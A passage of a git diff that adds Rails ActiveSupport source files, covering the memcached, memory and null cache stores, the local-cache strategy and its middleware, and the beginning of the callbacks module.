+              raw_entry.expires_at = entry.expires_at
+              super(key, raw_entry, options)
+            else
+              super
+            end
+          end
+      end
+
+      prepend Strategy::LocalCache
+      prepend LocalCacheWithRaw
+
+      ESCAPE_KEY_CHARS = /[\x00-\x20%\x7F-\xFF]/n
+
+      # Creates a new Dalli::Client instance with specified addresses and options.
+      # By default address is equal localhost:11211.
+      #
+      #   ActiveSupport::Cache::MemCacheStore.build_mem_cache
+      #     # => #<Dalli::Client:0x007f98a47d2028 @servers=["localhost:11211"], @options={}, @ring=nil>
+      #   ActiveSupport::Cache::MemCacheStore.build_mem_cache('localhost:10290')
+      #     # => #<Dalli::Client:0x007f98a47b3a60 @servers=["localhost:10290"], @options={}, @ring=nil>
+      def self.build_mem_cache(*addresses) # :nodoc:
+        addresses = addresses.flatten
+        options = addresses.extract_options!
+        addresses = ["localhost:11211"] if addresses.empty?
+        Dalli::Client.new(addresses, options)
+      end
+
+      # Creates a new MemCacheStore object, with the given memcached server
+      # addresses. Each address is either a host name, or a host-with-port string
+      # in the form of "host_name:port". For example:
+      #
+      #   ActiveSupport::Cache::MemCacheStore.new("localhost", "server-downstairs.localnetwork:8229")
+      #
+      # If no addresses are specified, then MemCacheStore will connect to
+      # localhost port 11211 (the default memcached port).
+      def initialize(*addresses)
+        addresses = addresses.flatten
+        options = addresses.extract_options!
+        super(options)
+
+        unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
+          raise ArgumentError, "First argument must be an empty array, an array of hosts or a Dalli::Client instance."
+        end
+        if addresses.first.is_a?(Dalli::Client)
+          @data = addresses.first
+        else
+          mem_cache_options = options.dup
+          UNIVERSAL_OPTIONS.each { |name| mem_cache_options.delete(name) }
+          @data = self.class.build_mem_cache(*(addresses + [mem_cache_options]))
+        end
+      end
+
+      # Reads multiple values from the cache using a single call to the
+      # servers for all keys. Options can be passed in the last argument.
+      def read_multi(*names)
+        options = names.extract_options!
+        options = merged_options(options)
+
+        keys_to_names = Hash[names.map { |name| [normalize_key(name, options), name] }]
+
+        raw_values = @data.get_multi(keys_to_names.keys)
+        values = {}
+
+        raw_values.each do |key, value|
+          entry = deserialize_entry(value)
+
+          unless entry.expired? || entry.mismatched?(normalize_version(keys_to_names[key], options))
+            values[keys_to_names[key]] = entry.value
+          end
+        end
+
+        values
+      end
+
+      # Increment a cached value. This method uses the memcached incr atomic
+      # operator and can only be used on values written with the :raw option.
+      # Calling it on a value not stored with :raw will initialize that value
+      # to zero.
+      def increment(name, amount = 1, options = nil)
+        options = merged_options(options)
+        instrument(:increment, name, amount: amount) do
+          rescue_error_with nil do
+            @data.incr(normalize_key(name, options), amount)
+          end
+        end
+      end
+
+      # Decrement a cached value. This method uses the memcached decr atomic
+      # operator and can only be used on values written with the :raw option.
+      # Calling it on a value not stored with :raw will initialize that value
+      # to zero.
+      def decrement(name, amount = 1, options = nil)
+        options = merged_options(options)
+        instrument(:decrement, name, amount: amount) do
+          rescue_error_with nil do
+            @data.decr(normalize_key(name, options), amount)
+          end
+        end
+      end
+
+      # Clear the entire cache on all memcached servers. This method should
+      # be used with care when shared cache is being used.
+      def clear(options = nil)
+        rescue_error_with(nil) { @data.flush_all }
+      end
+
+      # Get the statistics from the memcached servers.
+      def stats
+        @data.stats
+      end
+
+      private
+        # Read an entry from the cache.
+        def read_entry(key, options)
+          rescue_error_with(nil) { deserialize_entry(@data.get(key, options)) }
+        end
+
+        # Write an entry to the cache.
+        def write_entry(key, entry, options)
+          method = options && options[:unless_exist] ? :add : :set
+          value = options[:raw] ? entry.value.to_s : entry
+          expires_in = options[:expires_in].to_i
+          if expires_in > 0 && !options[:raw]
+            # Set the memcache expire a few minutes in the future to support race condition ttls on read
+            expires_in += 5.minutes
+          end
+          rescue_error_with false do
+            @data.send(method, key, value, expires_in, options)
+          end
+        end
+
+        # Delete an entry from the cache.
+        def delete_entry(key, options)
+          rescue_error_with(false) { @data.delete(key) }
+        end
+
+        # Memcache keys are binaries. So we need to force their encoding to binary
+        # before applying the regular expression to ensure we are escaping all
+        # characters properly.
+        def normalize_key(key, options)
+          key = super.dup
+          key = key.force_encoding(Encoding::ASCII_8BIT)
+          key = key.gsub(ESCAPE_KEY_CHARS) { |match| "%#{match.getbyte(0).to_s(16).upcase}" }
+          key = "#{key[0, 213]}:md5:#{Digest::MD5.hexdigest(key)}" if key.size > 250
+          key
+        end
+
+        def deserialize_entry(raw_value)
+          if raw_value
+            entry = Marshal.load(raw_value) rescue raw_value
+            entry.is_a?(Entry) ? entry : Entry.new(entry)
+          end
+        end
+
+        def rescue_error_with(fallback)
+          yield
+        rescue Dalli::DalliError => e
+          logger.error("DalliError (#{e}): #{e.message}") if logger
+          fallback
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
new file mode 100644
index 0000000000..564ac17241
--- /dev/null
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -0,0 +1,169 @@
+# frozen_string_literal: true
+
+require "monitor"
+
+module ActiveSupport
+  module Cache
+    # A cache store implementation which stores everything into memory in the
+    # same process. If you're running multiple Ruby on Rails server processes
+    # (which is the case if you're using Phusion Passenger or puma clustered mode),
+    # then this means that Rails server process instances won't be able
+    # to share cache data with each other and this may not be the most
+    # appropriate cache in that scenario.
+    #
+    # This cache has a bounded size specified by the :size options to the
+    # initializer (default is 32Mb). When the cache exceeds the allotted size,
+    # a cleanup will occur which tries to prune the cache down to three quarters
+    # of the maximum size by removing the least recently used entries.
+    #
+    # MemoryStore is thread-safe.
+    class MemoryStore < Store
+      def initialize(options = nil)
+        options ||= {}
+        super(options)
+        @data = {}
+        @key_access = {}
+        @max_size = options[:size] || 32.megabytes
+        @max_prune_time = options[:max_prune_time] || 2
+        @cache_size = 0
+        @monitor = Monitor.new
+        @pruning = false
+      end
+
+      # Delete all data stored in a given cache store.
+      def clear(options = nil)
+        synchronize do
+          @data.clear
+          @key_access.clear
+          @cache_size = 0
+        end
+      end
+
+      # Preemptively iterates through all stored keys and removes the ones which have expired.
+      def cleanup(options = nil)
+        options = merged_options(options)
+        instrument(:cleanup, size: @data.size) do
+          keys = synchronize { @data.keys }
+          keys.each do |key|
+            entry = @data[key]
+            delete_entry(key, options) if entry && entry.expired?
+          end
+        end
+      end
+
+      # To ensure entries fit within the specified memory prune the cache by removing the least
+      # recently accessed entries.
+      def prune(target_size, max_time = nil)
+        return if pruning?
+        @pruning = true
+        begin
+          start_time = Time.now
+          cleanup
+          instrument(:prune, target_size, from: @cache_size) do
+            keys = synchronize { @key_access.keys.sort { |a, b| @key_access[a].to_f <=> @key_access[b].to_f } }
+            keys.each do |key|
+              delete_entry(key, options)
+              return if @cache_size <= target_size || (max_time && Time.now - start_time > max_time)
+            end
+          end
+        ensure
+          @pruning = false
+        end
+      end
+
+      # Returns true if the cache is currently being pruned.
+      def pruning?
+        @pruning
+      end
+
+      # Increment an integer value in the cache.
+      def increment(name, amount = 1, options = nil)
+        modify_value(name, amount, options)
+      end
+
+      # Decrement an integer value in the cache.
+      def decrement(name, amount = 1, options = nil)
+        modify_value(name, -amount, options)
+      end
+
+      # Deletes cache entries if the cache key matches a given pattern.
+      def delete_matched(matcher, options = nil)
+        options = merged_options(options)
+        instrument(:delete_matched, matcher.inspect) do
+          matcher = key_matcher(matcher, options)
+          keys = synchronize { @data.keys }
+          keys.each do |key|
+            delete_entry(key, options) if key.match(matcher)
+          end
+        end
+      end
+
+      def inspect # :nodoc:
+        "<##{self.class.name} entries=#{@data.size}, size=#{@cache_size}, options=#{@options.inspect}>"
+      end
+
+      # Synchronize calls to the cache. This should be called wherever the underlying cache implementation
+      # is not thread safe.
+      def synchronize(&block) # :nodoc:
+        @monitor.synchronize(&block)
+      end
+
+      private
+
+        PER_ENTRY_OVERHEAD = 240
+
+        def cached_size(key, entry)
+          key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD
+        end
+
+        def read_entry(key, options)
+          entry = @data[key]
+          synchronize do
+            if entry
+              @key_access[key] = Time.now.to_f
+            else
+              @key_access.delete(key)
+            end
+          end
+          entry
+        end
+
+        def write_entry(key, entry, options)
+          entry.dup_value!
+          synchronize do
+            old_entry = @data[key]
+            return false if @data.key?(key) && options[:unless_exist]
+            if old_entry
+              @cache_size -= (old_entry.size - entry.size)
+            else
+              @cache_size += cached_size(key, entry)
+            end
+            @key_access[key] = Time.now.to_f
+            @data[key] = entry
+            prune(@max_size * 0.75, @max_prune_time) if @cache_size > @max_size
+            true
+          end
+        end
+
+        def delete_entry(key, options)
+          synchronize do
+            @key_access.delete(key)
+            entry = @data.delete(key)
+            @cache_size -= cached_size(key, entry) if entry
+            !!entry
+          end
+        end
+
+        def modify_value(name, amount, options)
+          synchronize do
+            options = merged_options(options)
+            if num = read(name, options)
+              num = num.to_i + amount
+              write(name, num, options)
+              num
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/null_store.rb b/activesupport/lib/active_support/cache/null_store.rb
new file mode 100644
index 0000000000..1a5983db43
--- /dev/null
+++ b/activesupport/lib/active_support/cache/null_store.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Cache
+    # A cache store implementation which doesn't actually store anything. Useful in
+    # development and test environments where you don't want caching turned on but
+    # need to go through the caching interface.
+    #
+    # This cache does implement the local cache strategy, so values will actually
+    # be cached inside blocks that utilize this strategy. See
+    # ActiveSupport::Cache::Strategy::LocalCache for more details.
+    class NullStore < Store
+      prepend Strategy::LocalCache
+
+      def clear(options = nil)
+      end
+
+      def cleanup(options = nil)
+      end
+
+      def increment(name, amount = 1, options = nil)
+      end
+
+      def decrement(name, amount = 1, options = nil)
+      end
+
+      def delete_matched(matcher, options = nil)
+      end
+
+      private
+        def read_entry(key, options)
+        end
+
+        def write_entry(key, entry, options)
+          true
+        end
+
+        def delete_entry(key, options)
+          false
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
new file mode 100644
index 0000000000..a3eef1190a
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -0,0 +1,170 @@
+# frozen_string_literal: true
+
+require_relative "../../core_ext/object/duplicable"
+require_relative "../../core_ext/string/inflections"
+require_relative "../../per_thread_registry"
+
+module ActiveSupport
+  module Cache
+    module Strategy
+      # Caches that implement LocalCache will be backed by an in-memory cache for the
+      # duration of a block. Repeated calls to the cache for the same key will hit the
+      # in-memory cache for faster access.
+      module LocalCache
+        autoload :Middleware, "active_support/cache/strategy/local_cache_middleware"
+
+        # Class for storing and registering the local caches.
+        class LocalCacheRegistry # :nodoc:
+          extend ActiveSupport::PerThreadRegistry
+
+          def initialize
+            @registry = {}
+          end
+
+          def cache_for(local_cache_key)
+            @registry[local_cache_key]
+          end
+
+          def set_cache_for(local_cache_key, value)
+            @registry[local_cache_key] = value
+          end
+
+          def self.set_cache_for(l, v); instance.set_cache_for l, v; end
+          def self.cache_for(l); instance.cache_for l; end
+        end
+
+        # Simple memory backed cache. This cache is not thread safe and is intended only
+        # for serving as a temporary memory cache for a single thread.
+        class LocalStore < Store
+          def initialize
+            super
+            @data = {}
+          end
+
+          # Don't allow synchronizing since it isn't thread safe.
+          def synchronize # :nodoc:
+            yield
+          end
+
+          def clear(options = nil)
+            @data.clear
+          end
+
+          def read_entry(key, options)
+            @data[key]
+          end
+
+          def write_entry(key, value, options)
+            @data[key] = value
+            true
+          end
+
+          def delete_entry(key, options)
+            !!@data.delete(key)
+          end
+
+          def fetch_entry(key, options = nil) # :nodoc:
+            @data.fetch(key) { @data[key] = yield }
+          end
+        end
+
+        # Use a local cache for the duration of block.
+        def with_local_cache
+          use_temporary_local_cache(LocalStore.new) { yield }
+        end
+
+        # Middleware class can be inserted as a Rack handler to be local cache for the
+        # duration of request.
+        def middleware
+          @middleware ||= Middleware.new(
+            "ActiveSupport::Cache::Strategy::LocalCache",
+            local_cache_key)
+        end
+
+        def clear(options = nil) # :nodoc:
+          return super unless cache = local_cache
+          cache.clear(options)
+          super
+        end
+
+        def cleanup(options = nil) # :nodoc:
+          return super unless cache = local_cache
+          cache.clear
+          super
+        end
+
+        def increment(name, amount = 1, options = nil) # :nodoc:
+          return super unless local_cache
+          value = bypass_local_cache { super }
+          write_cache_value(name, value, options)
+          value
+        end
+
+        def decrement(name, amount = 1, options = nil) # :nodoc:
+          return super unless local_cache
+          value = bypass_local_cache { super }
+          write_cache_value(name, value, options)
+          value
+        end
+
+        private
+          def read_entry(key, options)
+            if cache = local_cache
+              cache.fetch_entry(key) { super }
+            else
+              super
+            end
+          end
+
+          def write_entry(key, entry, options)
+            if options[:unless_exist]
+              local_cache.delete_entry(key, options) if local_cache
+            else
+              local_cache.write_entry(key, entry, options) if local_cache
+            end
+
+            super
+          end
+
+          def delete_entry(key, options)
+            local_cache.delete_entry(key, options) if local_cache
+            super
+          end
+
+          def write_cache_value(name, value, options)
+            name = normalize_key(name, options)
+            cache = local_cache
+            cache.mute do
+              if value
+                cache.write(name, value, options)
+              else
+                cache.delete(name, options)
+              end
+            end
+          end
+
+          def local_cache_key
+            @local_cache_key ||= "#{self.class.name.underscore}_local_cache_#{object_id}".gsub(/[\/-]/, "_").to_sym
+          end
+
+          def local_cache
+            LocalCacheRegistry.cache_for(local_cache_key)
+          end
+
+          def bypass_local_cache
+            use_temporary_local_cache(nil) { yield }
+          end
+
+          def use_temporary_local_cache(temporary_cache)
+            save_cache = LocalCacheRegistry.cache_for(local_cache_key)
+            begin
+              LocalCacheRegistry.set_cache_for(local_cache_key, temporary_cache)
+              yield
+            ensure
+              LocalCacheRegistry.set_cache_for(local_cache_key, save_cache)
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
new file mode 100644
index 0000000000..62542bdb22
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "rack/body_proxy"
+require "rack/utils"
+
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+        #--
+        # This class wraps up local storage for middlewares. Only the middleware method should
+        # construct them.
+        class Middleware # :nodoc:
+          attr_reader :name, :local_cache_key
+
+          def initialize(name, local_cache_key)
+            @name = name
+            @local_cache_key = local_cache_key
+            @app = nil
+          end
+
+          def new(app)
+            @app = app
+            self
+          end
+
+          def call(env)
+            LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+            response = @app.call(env)
+            response[2] = ::Rack::BodyProxy.new(response[2]) do
+              LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+            end
+            cleanup_on_body_close = true
+            response
+          rescue Rack::Utils::InvalidParameterError
+            [400, {}, []]
+          ensure
+            LocalCacheRegistry.set_cache_for(local_cache_key, nil) unless
+              cleanup_on_body_close
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
new file mode 100644
index 0000000000..e1cbfc945c
--- /dev/null
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -0,0 +1,856 @@
+# frozen_string_literal: true
+
+require_relative "concern"
+require_relative "descendants_tracker"
+require_relative "core_ext/array/extract_options"
+require_relative "core_ext/class/attribute"
+require_relative "core_ext/kernel/reporting"
+require_relative "core_ext/kernel/singleton_class"
+require_relative "core_ext/string/filters"
+require_relative "deprecation"
+require "thread"
+
+module ActiveSupport
+  # Callbacks are code hooks that are run at key points in an object's life cycle.
+  # The typical use case is to have a base class define a set of callbacks
+  # relevant to the other functionality it supplies, so that subclasses can
+  # install callbacks that enhance or modify the base functionality without
+  # needing to override or redefine methods of the base class.
+  #
+  # Mixing in this module allows you to define the events in the object's
+  # life cycle that will support callbacks (via +ClassMethods.define_callbacks+),
+  # set the instance methods, procs, or callback objects to be called (via
+  # +ClassMethods.set_callback+), and run the installed callbacks at the
+  # appropriate times (via +run_callbacks+).
+  #
+  # Three kinds of callbacks are supported: before callbacks, run before a
+  # certain event; after callbacks, run after the event; and around callbacks,
+  # blocks that surround the event, triggering it when they yield. Callback code
+  # can be contained in instance methods, procs or lambdas, or callback objects
+  # that respond to certain predetermined methods. See +ClassMethods.set_callback+
+  # for details.
+  #
+  #   class Record
+  #     include ActiveSupport::Callbacks
+  #     define_callbacks :save
+  #
+  #     def save
+  #       run_callbacks :save do
+  #         puts "- save"
+  #       end
+  #     end
+  #   end
+  #
+  #   class PersonRecord < Record
+  #     set_callback :save, :before, :saving_message
+  #     def saving_message
+  #       puts "saving..."
+  #     end
+  #
+  #     set_callback :save, :after do |object|
+  #       puts "saved"
+  #     end
+  #   end
+  #
+  #   person = PersonRecord.new
+  #   person.save
+  #
+  # Output:
+  #   saving...
+  #   - save
+  #   saved
+  module Callbacks
+    extend Concern
+
+    included do
+      extend ActiveSupport::DescendantsTracker
+      class_attribute :__callbacks, instance_writer: false, default: {}
+    end
+
+    CALLBACK_FILTER_TYPES = [:before, :after, :around]
+
+    # Runs the callbacks for the given event.
+    #
+    # Calls the before and around callbacks in the order they were set, yields
+    # the block (if given one), and then runs the after callbacks in reverse
+    # order.
+    #
+    # If the callback chain was halted, returns +false+. Otherwise returns the
+    # result of the block, +nil+ if no callbacks have been set, or +true+
+    # if callbacks have been set but no block is given.
+    #
+    #   run_callbacks :save do
+    #     save
+    #   end
+    #
+    #--
+    #
+    # As this method is used in many places, and often wraps large portions of
+    # user code, it has an additional design goal of minimizing its impact on
+    # the visible call stack. An exception from inside a :before or :after
+    # callback can be as noisy as it likes -- but when control has passed
+    # smoothly through and into the supplied block, we want as little evidence
+    # as possible that we were here.
+    def run_callbacks(kind)
+      callbacks = __callbacks[kind.to_sym]
+
+      if callbacks.empty?
+        yield if block_given?
+      else
+        env = Filters::Environment.new(self, false, nil)
+        next_sequence = callbacks.compile
+
+        invoke_sequence = Proc.new do
+          skipped = nil
+          while true
+            current = next_sequence
+            current.invoke_before(env)
+            if current.final?
+              env.value = !env.halted && (!block_given? || yield)
+            elsif current.skip?(env)
+              (skipped ||= []) << current
+              next_sequence = next_sequence.nested
+              next
+            else
+              next_sequence = next_sequence.nested
+              begin
+                target, block, method, *arguments = current.expand_call_template(env, invoke_sequence)
+                target.send(method, *arguments, &block)
+              ensure
+                next_sequence = current
+              end
+            end
+            current.invoke_after(env)
+            skipped.pop.invoke_after(env) while skipped && skipped.first
+            break env.value
+          end
+        end
+
+        # Common case: no 'around' callbacks defined
+        if next_sequence.final?
+          next_sequence.invoke_before(env)
+          env.value = !env.halted && (!block_given? || yield)
+          next_sequence.invoke_after(env)
+          env.value
+        else
+          invoke_sequence.call
+        end
+      end
+    end
+
+    private
+
+      # A hook invoked every time a before callback is halted.
+      # This can be overridden in ActiveSupport::Callbacks implementors in order
+      # to provide better debugging/logging.
+      def halted_callback_hook(filter)
+      end
+
+      module Conditionals # :nodoc:
+        class Value
+          def initialize(&block)
+            @block = block
+          end
+          def call(target, value); @block.call(value); end
+        end
+      end
+
+      module Filters
+        Environment = Struct.new(:target, :halted, :value)
+
+        class Before
+          def self.build(callback_sequence, user_callback, user_conditions, chain_config, filter)
+            halted_lambda = chain_config[:terminator]
+
+            if user_conditions.any?
+              halting_and_conditional(callback_sequence, user_callback, user_conditions, halted_lambda, filter)
+            else
+              halting(callback_sequence, user_callback, halted_lambda, filter)
+            end
+          end
+
+          def self.halting_and_conditional(callback_sequence, user_callback, user_conditions, halted_lambda, filter)
+            callback_sequence.before do |env|
+              target = env.target
+              value  = env.value
+              halted = env.halted
+
+              if !halted && user_conditions.all? { |c| c.call(target, value) }
+                result_lambda = -> { user_callback.call target, value }
+                env.halted = halted_lambda.call(target, result_lambda)
+                if env.halted
+                  target.send :halted_callback_hook, filter
+                end
+              end
+
+              env
+            end
+          end
+          private_class_method :halting_and_conditional
+
+          def self.halting(callback_sequence, user_callback, halted_lambda, filter)
+            callback_sequence.before do |env|
+              target = env.target
+              value  = env.value
+              halted = env.halted
+
+              unless halted
+                result_lambda = -> { user_callback.call target, value }
+                env.halted = halted_lambda.call(target, result_lambda)
+
+                if env.halted
+                  target.send :halted_callback_hook, filter
+                end
+              end
+
+              env
+            end
+          end
+          private_class_method :halting
+        end
+
+        class After
+          def self.build(callback_sequence, user_callback, user_conditions, chain_config)
+            if chain_config[:skip_after_callbacks_if_terminated]
+              if user_conditions.any?
+                halting_and_conditional(callback_sequence, user_callback, user_conditions)
+              else
+                halting(callback_sequence, user_callback)
+              end
+            else
+              if user_conditions.any?
+                conditional callback_sequence, user_callback, user_conditions
+              else
+                simple callback_sequence, user_callback
+              end
+            end
+          end
+
+          def self.halting_and_conditional(callback_sequence, user_callback, user_conditions)
+            callback_sequence.after do |env|
+              target = env.target
+              value  = env.value
+              halted = env.halted
+
+              if !halted && user_conditions.all? { |c| c.call(target, value) }
+                user_callback.call target, value
+              end
+
+              env
+            end
+          end
+          private_class_method :halting_and_conditional
+
+          def self.halting(callback_sequence, user_callback)
+            callback_sequence.after do |env|
+              unless env.halted
+                user_callback.call env.target, env.value
+              end
+
+              env
+            end
+          end
+          private_class_method :halting
+
+          def self.conditional(callback_sequence, user_callback, user_conditions)
+            callback_sequence.after do |env|
+              target = env.target
+              value  = env.value
+
+              if user_conditions.all? { |c| c.call(target, value) }
+                user_callback.call target, value
+              end
+
+              env
+            end
+          end
+          private_class_method :conditional
+
+          def self.simple(callback_sequence, user_callback)
+            callback_sequence.after do |env|
+              user_callback.call env.target, env.value
+
+              env
+            end
+          end
+          private_class_method :simple
+        end
+      end
+
+      class Callback #:nodoc:#
+        def self.build(chain, filter, kind, options)
+          if filter.is_a?(String)
+            raise ArgumentError, <<-MSG.squish
+              Passing string to define a callback is not supported. See the `.set_callback`
+              documentation to see supported values.
+            MSG
+          end
+
+          new chain.name, filter, kind, options, chain.config
+        end
+
+        attr_accessor :kind, :name
+        attr_reader :chain_config
+
+        def initialize(name, filter, kind, options, chain_config)
+          @chain_config = chain_config
+          @name    = name
+          @kind    = kind
+          @filter  = filter
+          @key     = compute_identifier filter
+          @if      = Array(options[:if])
+          @unless  = Array(options[:unless])
+        end
+
+        def filter; @key; end
+        def raw_filter; @filter; end
+
+        def merge_conditional_options(chain, if_option:, unless_option:)
+          options = {
+            if: @if.dup,
+            unless: @unless.dup
+          }
+
+          options[:if].concat     Array(unless_option)
+          options[:unless].concat Array(if_option)
+
+          self.class.build chain, @filter, @kind, options
+        end
+
+        def matches?(_kind, _filter)
+          @kind == _kind && filter == _filter
+        end
+
+        def duplicates?(other)
+          case @filter
+          when Symbol, String
+            matches?(other.kind, other.filter)
+          else
+            false
+          end
+        end
+
+        # Wraps code with filter
+        def apply(callback_sequence)
+          user_conditions = conditions_lambdas
+          user_callback = CallTemplate.build(@filter, self)
+
+          case kind
+          when :before
+            Filters::Before.build(callback_sequence, user_callback.make_lambda, user_conditions, chain_config, @filter)
+          when :after
+            Filters::After.build(callback_sequence, user_callback.make_lambda, user_conditions, chain_config)
+          when :around
+            callback_sequence.around(user_callback, user_conditions)
+          end
+        end
+
+        def current_scopes
+          Array(chain_config[:scope]).map { |s| public_send(s) }
+        end
+
+        private
+          def compute_identifier(filter)
+            case filter
+            when String, ::Proc
+              filter.object_id
+            else
+              filter
+            end
+          end
+
+          def conditions_lambdas
+            @if.map { |c| CallTemplate.build(c, self).make_lambda } +
+              @unless.map { |c| CallTemplate.build(c, self).inverted_lambda }
+          end
+      end
+
+      # A future invocation of user-supplied code (either as a callback,
+      # or a condition filter).
+      class CallTemplate # :nodoc:
+        def initialize(target, method, arguments, block)
+          @override_target = target
+          @method_name = method
+          @arguments = arguments
+          @override_block = block
+        end
+
+        # Return the parts needed to make this call, with the given
+        # input values.
+        #
+        # Returns an array of the form:
+        #
+        #   [target, block, method, *arguments]
+        #
+        # This array can be used as such:
+        #
+        #   target.send(method, *arguments, &block)
+        #
+        # The actual invocation is left up to the caller to minimize
+        # call stack pollution.
+        def expand(target, value, block)
+          result = @arguments.map { |arg|
+            case arg
+            when :value; value
+            when :target; target
+            when :block; block || raise(ArgumentError)
+            end
+          }
+
+          result.unshift @method_name
+          result.unshift @override_block || block
+          result.unshift @override_target || target
+
+          # target, block, method, *arguments = result
+          # target.send(method, *arguments, &block)
+          result
+        end
+
+        # Return a lambda that will make this call when given the input
+        # values.
+        def make_lambda
+          lambda do |target, value, &block|
+            target, block, method, *arguments = expand(target, value, block)
+            target.send(method, *arguments, &block)
+          end
+        end
+
+        # Return a lambda that will make this call when given the input
+        # values, but then return the boolean inverse of that result.
+        def inverted_lambda
+          lambda do |target, value, &block|
+            target, block, method, *arguments = expand(target, value, block)
+            ! target.send(method, *arguments, &block)
+          end
+        end
+
+        # Filters support:
+        #
+        #   Symbols:: A method to call.
+        #   Strings:: Some content to evaluate.
+        #   Procs::   A proc to call with the object.
+        #   Objects:: An object with a <tt>before_foo</tt> method on it to call.
+        #
+        # All of these objects are converted into a CallTemplate and handled
+        # the same after this point.
+        def self.build(filter, callback)
+          case filter
+          when Symbol
+            new(nil, filter, [], nil)
+          when String
+            new(nil, :instance_exec, [:value], compile_lambda(filter))
+          when Conditionals::Value
+            new(filter, :call, [:target, :value], nil)
+          when ::Proc
+            if filter.arity > 1
+              new(nil, :instance_exec, [:target, :block], filter)
+            elsif filter.arity > 0
+              new(nil, :instance_exec, [:target], filter)
+            else
+              new(nil, :instance_exec, [], filter)
+            end
+          else
+            method_to_call = callback.current_scopes.join("_")
+
+            new(filter, method_to_call, [:target], nil)
+          end
+        end
+
+        def self.compile_lambda(filter)
+          eval("lambda { |value| #{filter} }")
+        end
+      end
+
+      # Execute before and after filters in a sequence instead of
+      # chaining them with nested lambda calls, see:
+      # https://github.com/rails/rails/issues/18011
+      class CallbackSequence # :nodoc:
+        def initialize(nested = nil, call_template = nil, user_conditions = nil)
+          @nested = nested
+          @call_template = call_template
+          @user_conditions = user_conditions
+
+          @before = []
+          @after = []
+        end
+
+        def before(&before)
+          @before.unshift(before)
+          self
+        end
+
+        def after(&after)
+          @after.push(after)
+          self
+        end
+
+        def around(call_template, user_conditions)
+          CallbackSequence.new(self, call_template, user_conditions)
+        end
+
+        def skip?(arg)
+          arg.halted || !@user_conditions.all? { |c| c.call(arg.target, arg.value) }
+        end
+
+        def nested
+          @nested
+        end
+
+        def final?
+          !@call_template
+        end
+
+        def expand_call_template(arg, block)
+          @call_template.expand(arg.target, arg.value, block)
+        end
+
+        def invoke_before(arg)
+          @before.each { |b| b.call(arg) }
+        end
+
+        def invoke_after(arg)
+          @after.each { |a| a.call(arg) }
+        end
+      end
+
+      class CallbackChain #:nodoc:#
+        include Enumerable
+
+        attr_reader :name, :config
+
+        def initialize(name, config)
+          @name = name
+          @config = {
+            scope: [:kind],
+            terminator: default_terminator
+          }.merge!(config)
+          @chain = []
+          @callbacks = nil
+          @mutex = Mutex.new
+        end
+
+        def each(&block); @chain.each(&block); end
+        def index(o);     @chain.index(o); end
+        def empty?;       @chain.empty?; end
+
+        def insert(index, o)
+          @callbacks = nil
+          @chain.insert(index, o)
+        end
+
+        def delete(o)
+          @callbacks = nil
+          @chain.delete(o)
+        end
+
+        def clear
+          @callbacks = nil
+          @chain.clear
+          self
+        end
+
+        def initialize_copy(other)
+          @callbacks = nil
+          @chain     = other.chain.dup
+          @mutex     = Mutex.new
+        end
+
+        def compile
+          @callbacks || @mutex.synchronize do
+            final_sequence = CallbackSequence.new
+            @callbacks ||= @chain.reverse.inject(final_sequence) do |callback_sequence, callback|
+              callback.apply callback_sequence
+            end
+          end
+        end
+
+        def append(*callbacks)
+          callbacks.each { |c| append_one(c) }
+        end
+
+        def prepend(*callbacks)
+          callbacks.each { |c| prepend_one(c) }
+        end
+
+        protected
+          def chain; @chain; end
+
+        private
+
+          def append_one(callback)
+            @callbacks = nil
+            remove_duplicates(callback)
+            @chain.push(callback)
+          end
+
+          def prepend_one(callback)
+            @callbacks = nil
+            remove_duplicates(callback)
+            @chain.unshift(callback)
+          end
+
+          def remove_duplicates(callback)
+            @callbacks = nil
+            @chain.delete_if { |c| callback.duplicates?(c) }
+          end
+
+          def default_terminator
+            Proc.new do |target, result_lambda|
+              terminate = true
+              catch(:abort) do
+                result_lambda.call
+                terminate = false
+              end
+              terminate
+            end
+          end
+      end
+
+      module ClassMethods
+        def normalize_callback_params(filters, block) # :nodoc:
+          type = CALLBACK_FILTER_TYPES.include?(filters.first) ? filters.shift : :before
+          options = filters.extract_options!
+          filters.unshift(block) if block
+          [type, filters, options.dup]
+        end
+
+        # This is used internally to append, prepend and skip callbacks to the
+        # CallbackChain.
+        def __update_callbacks(name) #:nodoc:
+          ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse_each do |target|
+            chain = target.get_callbacks name
+            yield target, chain.dup
+          end
+        end
+
+        # Install a callback for the given event.
+        #
+        #   set_callback :save, :before, :before_method
+        #   set_callback :save, :after,  :after_method, if: :condition
+        #   set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
+        #
+        # The second argument indicates whether the callback is to be run +:before+,
+        # +:after+, or +:around+ the event. If omitted, +:before+ is assumed. This
+        # means the first example above can also be written as:
+        #
+        #   set_callback :save, :before_method
+        #
+        # The callback can be specified as a symbol naming an instance method; as a
+        # proc, lambda, or block; or as an object that responds to a certain method
+        # determined by the <tt>:scope</tt> argument to +define_callbacks+.
+        #
+        # If a proc, lambda, or block is given, its body is evaluated in the context
+        # of the current object. It can also optionally accept the current object as
+        # an argument.
+        #
+        # Before and around callbacks are called in the order that they are set;
+        # after callbacks are called in the reverse order.
+        #
